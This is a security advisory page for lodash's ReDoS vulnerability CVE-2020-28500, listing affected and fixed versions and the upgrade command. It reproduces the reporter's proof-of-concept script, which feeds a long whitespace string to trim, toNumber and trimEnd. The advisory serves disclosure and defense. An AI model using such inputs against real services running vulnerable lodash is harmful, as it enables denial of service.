Packages / lodash / Security

ModerateVulnerabilityGHSA-29mw-wpgm-hmr9CVE-2020-28500Published 6 Jan 2022

Regular Expression Denial of Service (ReDoS) in lodash

Your version

Affected releases · lodash

  • 4.x4.0.0 – 4.17.20Fixed in 4.17.21

On 4.x, the newest line:

npm install lodash@4.17.21
Every release on a timeline
  1. Not affected

    0.1.0 – 3.10.1

    57 releases

  2. Affected

    4.0.0 – 4.17.20

    52 releases

  3. Fixed

    4.17.21 – 4.18.1

    4 releases, latest

113 stable releases of lodash, oldest to newest.

What happens

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);